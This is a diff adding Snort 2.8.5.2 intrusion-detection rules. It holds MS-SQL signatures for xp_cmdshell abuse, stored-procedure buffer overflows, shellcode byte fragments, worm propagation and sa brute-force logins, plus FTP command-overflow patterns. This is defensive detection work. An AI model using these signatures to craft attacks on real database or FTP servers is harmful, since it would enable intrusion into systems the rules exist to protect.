+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB sp_password password change"; flow:to_server,established; content:"s|00|p|00|_|00|p|00|a|00|s|00|s|00|w|00|o|00|r|00|d|00|"; nocase; classtype:attempted-user; sid:677; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB sp_delete_alert log file deletion"; flow:to_server,established; content:"s|00|p|00|_|00|d|00|e|00|l|00|e|00|t|00|e|00|_|00|a|00|l|00|e|00|"; nocase; classtype:attempted-user; sid:678; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB sp_adduser database user creation"; flow:to_server,established; content:"s|00|p|00|_|00|a|00|d|00|d|00|u|00|s|00|e|00|r|00|"; depth:32; offset:32; nocase; classtype:attempted-user; sid:679; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_enumresultset possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|e|00|n|00|u|00|m|00|r|00|e|00|s|00|u|00|l|00|t|00|s|00|e|00|t|00|"; offset:32; nocase; reference:bugtraq,2031; reference:cve,2000-1082; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:708; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB raiserror possible buffer overflow"; flow:to_server,established; content:"r|00|a|00|i|00|s|00|e|00|r|00|r|00|o|00|r|00|"; offset:32; nocase; reference:bugtraq,3733; reference:cve,2001-0542; reference:url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx; classtype:attempted-user; sid:1386; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_displayparamstmt possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|d|00|i|00|s|00|p|00|l|00|a|00|y|00|p|00|a|00|r|00|a|00|m|00|s|00|t|00|m|00|t|00|"; offset:32; nocase; reference:bugtraq,2030; reference:cve,2000-1081; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:702; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_setsqlsecurity possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|e|00|t|00|s|00|q|00|l|00|s|00|e|00|c|00|u|00|r|00|i|00|t|00|y|00|"; offset:32; nocase; reference:bugtraq,2043; reference:cve,2000-1088; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:703; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_cmdshell program execution"; flow:to_server,established; content:"x|00|p|00|_|00|c|00|m|00|d|00|s|00|h|00|e|00|l|00|l|00|"; offset:32; nocase; classtype:attempted-user; sid:681; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_reg* registry access"; flow:to_server,established; content:"x|00|p|00|_|00|r|00|e|00|g|00|"; depth:32; offset:32; nocase; reference:bugtraq,5205; reference:cve,2002-0642; reference:nessus,10642; reference:url,www.microsoft.com/technet/security/bulletin/MS02-034; classtype:attempted-user; sid:689; rev:11;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_printstatements possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|r|00|i|00|n|00|t|00|s|00|t|00|a|00|t|00|e|00|m|00|e|00|n|00|t|00|s|00|"; offset:32; nocase; reference:bugtraq,2041; reference:cve,2000-1086; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:690; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB shellcode attempt"; flow:to_server,established; content:"9 |D0 00 92 01 C2 00|R|00|U|00|9 |EC 00|"; classtype:shellcode-detect; sid:692; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB shellcode attempt"; flow:to_server,established; content:"H|00|%|00|x|00|w|00 90 00 90 00 90 00 90 00 90 00|3|00 C0 00|P|00|h|00|.|00|"; classtype:attempted-user; sid:694; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_sprintf possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|p|00|r|00|i|00|n|00|t|00|f|00|"; offset:32; nocase; reference:bugtraq,1204; reference:url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx; classtype:attempted-user; sid:695; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_showcolv possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|h|00|o|00|w|00|c|00|o|00|l|00|v|00|"; offset:32; nocase; reference:bugtraq,2038; reference:cve,2000-1083; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:696; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_peekqueue possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|e|00|e|00|k|00|q|00|u|00|e|00|u|00|e|00|"; offset:32; nocase; reference:bugtraq,2040; reference:cve,2000-1085; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:697; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_proxiedmetadata possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|r|00|o|00|x|00|i|00|e|00|d|00|m|00|e|00|t|00|a|00|d|00|a|00|t|00|a|00|"; offset:32; nocase; reference:bugtraq,2042; reference:cve,2000-1087; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:698; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB xp_updatecolvbm possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|u|00|p|00|d|00|a|00|t|00|e|00|c|00|o|00|l|00|v|00|b|00|m|00|"; offset:32; nocase; reference:bugtraq,2039; reference:cve,2000-1084; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:700; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL sp_start_job - program execution"; flow:to_server,established; content:"s|00|p|00|_|00|s|00|t|00|a|00|r|00|t|00|_|00|j|00|o|00|b|00|"; nocase; classtype:attempted-user; sid:673; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_displayparamstmt possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|d|00|i|00|s|00|p|00|l|00|a|00|y|00|p|00|a|00|r|00|a|00|m|00|s|00|t|00|m|00|t"; nocase; reference:bugtraq,2030; reference:cve,2000-1081; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:674; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_setsqlsecurity possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|e|00|t|00|s|00|q|00|l|00|s|00|e|00|c|00|u|00|r|00|i|00|t|00|y|00|"; nocase; reference:bugtraq,2043; reference:cve,2000-1088; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:675; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_enumresultset possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|e|00|n|00|u|00|m|00|r|00|e|00|s|00|u|00|l|00|t|00|s|00|e|00|t|00|"; nocase; reference:bugtraq,2031; reference:cve,2000-1082; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:682; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL sp_password - password change"; flow:to_server,established; content:"s|00|p|00|_|00|p|00|a|00|s|00|s|00|w|00|o|00|r|00|d|00|"; nocase; classtype:attempted-user; sid:683; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL sp_delete_alert log file deletion"; flow:to_server,established; content:"s|00|p|00|_|00|d|00|e|00|l|00|e|00|t|00|e|00|_|00|a|00|l|00|e|00|r|00|t|00|"; nocase; classtype:attempted-user; sid:684; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL sp_adduser - database user creation"; flow:to_server,established; content:"s|00|p|00|_|00|a|00|d|00|d|00|u|00|s|00|e|00|r|00|"; nocase; classtype:attempted-user; sid:685; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_reg* - registry access"; flow:to_server,established; content:"x|00|p|00|_|00|r|00|e|00|g|00|"; nocase; reference:bugtraq,5205; reference:cve,2002-0642; reference:nessus,10642; reference:url,www.microsoft.com/technet/security/bulletin/MS02-034; classtype:attempted-user; sid:686; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_cmdshell - program execution"; flow:to_server,established; content:"x|00|p|00|_|00|c|00|m|00|d|00|s|00|h|00|e|00|l|00|l|00|"; nocase; classtype:attempted-user; sid:687; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL shellcode attempt"; flow:to_server,established; content:"9 |D0 00 92 01 C2 00|R|00|U|00|9 |EC 00|"; classtype:shellcode-detect; sid:691; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL shellcode attempt"; flow:to_server,established; content:"H|00|%|00|x|00|w|00 90 00 90 00 90 00 90 00 90 00|3|00 C0 00|P|00|h|00|.|00|"; classtype:shellcode-detect; sid:693; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_printstatements possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|r|00|i|00|n|00|t|00|s|00|t|00|a|00|t|00|e|00|m|00|e|00|n|00|t|00|s|00|"; nocase; reference:bugtraq,2041; reference:cve,2000-1086; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:699; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_updatecolvbm possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|u|00|p|00|d|00|a|00|t|00|e|00|c|00|o|00|l|00|v|00|b|00|m|00|"; nocase; reference:bugtraq,2039; reference:cve,2000-1084; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:701; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_sprintf possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|p|00|r|00|i|00|n|00|t|00|f|00|"; nocase; reference:bugtraq,1204; reference:cve,2001-0542; reference:url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx; classtype:attempted-user; sid:704; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_showcolv possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|s|00|h|00|o|00|w|00|c|00|o|00|l|00|v|00|"; nocase; reference:bugtraq,2038; reference:cve,2000-1083; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:705; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_peekqueue possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|e|00|e|00|k|00|q|00|u|00|e|00|u|00|e|00|"; nocase; reference:bugtraq,2040; reference:cve,2000-1085; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:706; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL xp_proxiedmetadata possible buffer overflow"; flow:to_server,established; content:"x|00|p|00|_|00|p|00|r|00|o|00|x|00|i|00|e|00|d|00|m|00|e|00|t|00|a|00|d|00|a|00|t|00|a|00|"; nocase; reference:bugtraq,2024; reference:cve,1999-0287; reference:cve,2000-1087; reference:url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx; classtype:attempted-user; sid:707; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL raiserror possible buffer overflow"; flow:to_server,established; content:"r|00|a|00|i|00|s|00|e|00|r|00|r|00|o|00|r|00|"; nocase; reference:bugtraq,3733; reference:cve,2001-0542; reference:nessus,11217; classtype:attempted-user; sid:1387; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 445 (msg:"MS-SQL xp_cmdshell program execution 445"; flow:to_server,established; content:"x|00|p|00|_|00|c|00|m|00|d|00|s|00|h|00|e|00|l|00|l|00|"; nocase; classtype:attempted-user; sid:1759; rev:5;)
+alert tcp $SQL_SERVERS 1433 -> $EXTERNAL_NET any (msg:"MS-SQL sa login failed"; flow:from_server,established; content:"Login failed for user 'sa'"; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:unsuccessful-user; sid:688; rev:10;)
+alert tcp $SQL_SERVERS 139 -> $EXTERNAL_NET any (msg:"MS-SQL/SMB sa login failed"; flow:from_server,established; content:"Login failed for user 'sa'"; offset:83; reference:bugtraq,4797; reference:cve,2000-1209; classtype:attempted-user; sid:680; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL Worm propagation attempt"; content:"|04|"; depth:1; content:"|81 F1 03 01 04 9B 81 F1 01|"; content:"sock"; content:"send"; reference:bugtraq,5310; reference:bugtraq,5311; reference:cve,2002-0649; reference:nessus,11214; reference:url,vil.nai.com/vil/content/v_99992.htm; classtype:misc-attack; sid:2003; rev:8;)
+alert udp $HOME_NET any -> $EXTERNAL_NET 1434 (msg:"MS-SQL Worm propagation attempt OUTBOUND"; content:"|04|"; depth:1; content:"|81 F1 03 01 04 9B 81 F1|"; content:"sock"; content:"send"; reference:bugtraq,5310; reference:bugtraq,5311; reference:cve,2002-0649; reference:nessus,11214; reference:url,vil.nai.com/vil/content/v_99992.htm; classtype:misc-attack; sid:2004; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL ping attempt"; content:"|02|"; depth:1; reference:nessus,10674; classtype:misc-activity; sid:2049; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL version overflow attempt"; flowbits:isnotset,ms_sql_seen_dns; dsize:>100; content:"|04|"; depth:1; reference:bugtraq,5310; reference:cve,2002-0649; reference:nessus,10674; classtype:misc-activity; sid:2050; rev:8;)
+alert udp $EXTERNAL_NET any -> $SQL_SERVERS any (msg:"MS-SQL probe response overflow attempt"; content:"|05|"; depth:1; byte_test:2,>,512,1; content:"|3B|"; distance:0; isdataat:512,relative; content:!"|3B|"; within:512; reference:bugtraq,9407; reference:cve,2003-0903; reference:url,www.microsoft.com/technet/security/bulletin/MS04-003.mspx; classtype:attempted-user; sid:2329; rev:6;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 4 requests"; content:"|00 04|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3446; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 9 requests"; content:"|00 09|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3451; rev:3;)
+alert tcp $SQL_SERVERS 1433 -> $EXTERNAL_NET any (msg:"MS-SQL sa brute force failed login unicode attempt"; flow:from_server,established; content:"L|00|o|00|g|00|i|00|n|00| |00|f|00|a|00|i|00|l|00|e|00|d|00| |00|f|00|o|00|r|00| |00|u|00|s|00|e|00|r|00| |00|'|00|s|00|a|00|'|00|"; threshold:type threshold, track by_src, count 5, seconds 2; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:unsuccessful-user; sid:3273; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 5 requests"; content:"|00 05|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3447; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 2 requests"; content:"|00 02|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3444; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 1 requests"; content:"|00 01|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3443; rev:3;)
+alert tcp $SQL_SERVERS 1433 -> $EXTERNAL_NET any (msg:"MS-SQL sa brute force failed login attempt"; flow:from_server,established; content:"Login failed for user 'sa'"; threshold:type threshold, track by_src, count 5, seconds 2; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:unsuccessful-user; sid:3152; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 10 requests"; content:"|00 0A|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3452; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 6 requests"; content:"|00 06|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3448; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 3 requests"; content:"|00 03|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3445; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 8 requests"; content:"|00 08|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3450; rev:3;)
+# alert udp $HOME_NET 1434 -> any 53 (msg:"MS-SQL DNS query with 7 requests"; content:"|00 07|"; depth:6; offset:4; flowbits:set,ms_sql_seen_dns; flowbits:noalert; classtype:not-suspicious; sid:3449; rev:3;)
--- snort-2.8.5.2.orig/rules/reference.config
+++ snort-2.8.5.2/rules/reference.config
@@ -0,0 +1,14 @@
+# $Id: reference.config,v 1.4 2003/10/20 15:03:04 chrisgreen Exp $
+# The following defines URLs for the references found in the rules
+#
+# config reference: system URL
+
+config reference: bugtraq   http://www.securityfocus.com/bid/ 
+config reference: cve       http://cve.mitre.org/cgi-bin/cvename.cgi?name=
+config reference: arachNIDS http://www.whitehats.com/info/IDS
+
+# Note, this one needs a suffix as well.... lets add that in a bit.
+config reference: McAfee    http://vil.nai.com/vil/content/v_
+config reference: nessus    http://cgi.nessus.org/plugins/dump.php3?id=
+config reference: url       http://
+
--- snort-2.8.5.2.orig/rules/ftp.rules
+++ snort-2.8.5.2/rules/ftp.rules
@@ -0,0 +1,112 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: ftp.rules,v 1.57.2.7.2.6 2005/07/22 19:19:54 mwatchinski Exp $
+#----------
+# FTP RULES
+#----------
+
+
+# protocol verification
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP MDTM overflow attempt"; flow:to_server,established; content:"MDTM"; nocase; isdataat:100,relative; pcre:"/^MDTM\s[^\n]{100}/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; reference:nessus,12080; classtype:attempted-admin; sid:2546; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP XMKD overflow attempt"; flow:to_server,established; content:"XMKD"; nocase; isdataat:100,relative; pcre:"/^XMKD\s[^\n]{100}/smi"; reference:bugtraq,7909; reference:cve,2000-0133; reference:cve,2001-1021; classtype:attempted-admin; sid:2373; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP NLST overflow attempt"; flow:to_server,established; content:"NLST"; nocase; isdataat:100,relative; pcre:"/^NLST\s[^\n]{100}/smi"; reference:bugtraq,10184; reference:bugtraq,7909; reference:bugtraq,9675; reference:cve,1999-1544; classtype:attempted-admin; sid:2374; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP ALLO overflow attempt"; flow:to_server,established; content:"ALLO"; nocase; isdataat:100,relative; pcre:"/^ALLO\s[^\n]{100}/smi"; reference:bugtraq,9953; classtype:attempted-admin; sid:2449; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RNTO overflow attempt"; flow:to_server,established; content:"RNTO"; nocase; isdataat:100,relative; pcre:"/^RNTO\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:cve,2000-0133; reference:cve,2001-1021; reference:cve,2003-0466; classtype:attempted-admin; sid:2389; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP STOU overflow attempt"; flow:to_server,established; content:"STOU"; nocase; isdataat:100,relative; pcre:"/^STOU\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:cve,2003-0466; classtype:attempted-admin; sid:2390; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP APPE overflow attempt"; flow:to_server,established; content:"APPE"; nocase; isdataat:100,relative; pcre:"/^APPE\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:bugtraq,8542; reference:cve,2000-0133; reference:cve,2003-0466; classtype:attempted-admin; sid:2391; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RETR overflow attempt"; flow:to_server,established; content:"RETR"; nocase; isdataat:100,relative; pcre:"/^RETR\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:cve,2003-0466; reference:cve,2004-0287; reference:cve,2004-0298; classtype:attempted-admin; sid:2392; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP STOR overflow attempt"; flow:to_server,established; content:"STOR"; nocase; isdataat:100,relative; pcre:"/^STOR\s[^\n]{100}/smi"; reference:bugtraq,8668; reference:cve,2000-0133; classtype:attempted-admin; sid:2343; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CEL overflow attempt"; flow:to_server,established; content:"CEL"; nocase; isdataat:100,relative; pcre:"/^CEL\s[^\n]{100}/smi"; reference:arachnids,257; reference:bugtraq,679; reference:cve,1999-0789; reference:nessus,10009; classtype:attempted-admin; sid:337; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP XCWD overflow attempt"; flow:to_server,established; content:"XCWD"; nocase; isdataat:100,relative; pcre:"/^XCWD\s[^\n]{100}/smi"; reference:bugtraq,11542; reference:bugtraq,8704; classtype:attempted-admin; sid:2344; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD overflow attempt"; flow:to_server,established; content:"CWD"; nocase; isdataat:100,relative; pcre:"/^CWD\s[^\n]{100}/smi"; reference:bugtraq,11069; reference:bugtraq,1227; reference:bugtraq,1690; reference:bugtraq,6869; reference:bugtraq,7251; reference:bugtraq,7950; reference:cve,1999-0219; reference:cve,1999-1058; reference:cve,1999-1510; reference:cve,2000-1035; reference:cve,2000-1194; reference:cve,2001-0781; reference:cve,2002-0126; reference:cve,2002-0405; classtype:attempted-admin; sid:1919; rev:22;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CMD overflow attempt"; flow:to_server,established; content:"CMD"; nocase; isdataat:100,relative; pcre:"/^CMD\s[^\n]{100}/smi"; classtype:attempted-admin; sid:1621; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP STAT overflow attempt"; flow:to_server,established; content:"STAT"; nocase; isdataat:100,relative; pcre:"/^STAT\s[^\n]{100}/smi"; reference:bugtraq,3507; reference:bugtraq,8542; reference:cve,2001-0325; reference:cve,2001-1021; reference:url,labs.defcom.com/adv/2001/def-2001-31.txt; classtype:attempted-admin; sid:1379; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE CHMOD overflow attempt"; flow:to_server,established; content:"SITE"; nocase; content:"CHMOD"; distance:0; nocase; isdataat:100,relative; pcre:"/^SITE\s+CHMOD\s[^\n]{100}/smi"; reference:bugtraq,10181; reference:bugtraq,9483; reference:bugtraq,9675; reference:cve,1999-0838; reference:nessus,12037; classtype:attempted-admin; sid:2340; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE CHOWN overflow attempt"; flow:to_server,established; content:"SITE"; nocase; content:"CHOWN"; distance:0; nocase; isdataat:100,relative; pcre:"/^SITE\s+CHOWN\s[^\n]{100}/smi"; reference:bugtraq,2120; reference:cve,2001-0065; classtype:attempted-admin; sid:1562; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE NEWER overflow attempt"; flow:to_server,established; content:"SITE"; nocase; content:"NEWER"; distance:0; nocase; isdataat:100,relative; pcre:"/^SITE\s+NEWER\s[^\n]{100}/smi"; reference:bugtraq,229; reference:cve,1999-0800; classtype:attempted-admin; sid:1920; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE CPWD overflow attempt"; flow:established,to_server; content:"SITE"; nocase; content:"CPWD"; distance:0; nocase; isdataat:100,relative; pcre:"/^SITE\s+CPWD\s[^\n]{100}/smi"; reference:bugtraq,5427; reference:cve,2002-0826; classtype:misc-attack; sid:1888; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE EXEC format string attempt"; flow:to_server,established; content:"SITE"; nocase; content:"EXEC"; distance:0; nocase; pcre:"/^SITE\s+EXEC\s[^\n]*?%[^\n]*?%/smi"; classtype:bad-unknown; sid:1971; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE overflow attempt"; flow:to_server,established; content:"SITE"; nocase; isdataat:100,relative; pcre:"/^SITE\s[^\n]{100}/smi"; reference:cve,1999-0838; reference:cve,2001-0755; reference:cve,2001-0770; classtype:attempted-admin; sid:1529; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP USER overflow attempt"; flow:to_server,established,no_stream; content:"USER"; nocase; isdataat:100,relative; pcre:"/^USER\s[^\n]{100}/smi"; reference:bugtraq,10078; reference:bugtraq,1227; reference:bugtraq,1504; reference:bugtraq,1690; reference:bugtraq,4638; reference:bugtraq,7307; reference:bugtraq,8376; reference:cve,1999-1510; reference:cve,1999-1514; reference:cve,1999-1519; reference:cve,1999-1539; reference:cve,2000-0479; reference:cve,2000-0656; reference:cve,2000-0761; reference:cve,2000-0943; reference:cve,2000-1035; reference:cve,2000-1194; reference:cve,2001-0256; reference:cve,2001-0794; reference:cve,2001-0826; reference:cve,2002-0126; reference:cve,2002-1522; reference:cve,2003-0271; reference:cve,2004-0286; classtype:attempted-admin; sid:1734; rev:30;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP PASS overflow attempt"; flow:to_server,established,no_stream; content:"PASS"; nocase; isdataat:100,relative; pcre:"/^PASS\s[^\n]{100}/smi"; reference:bugtraq,10078; reference:bugtraq,10720; reference:bugtraq,1690; reference:bugtraq,3884; reference:bugtraq,8601; reference:bugtraq,9285; reference:cve,1999-1519; reference:cve,1999-1539; reference:cve,2000-1035; reference:cve,2002-0126; reference:cve,2002-0895; classtype:attempted-admin; sid:1972; rev:16;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP RMDIR overflow attempt"; flow:to_server,established; content:"RMDIR"; nocase; isdataat:100,relative; pcre:"/^RMDIR\s[^\n]{100}/smi"; reference:bugtraq,819; classtype:attempted-admin; sid:1942; rev:6;)
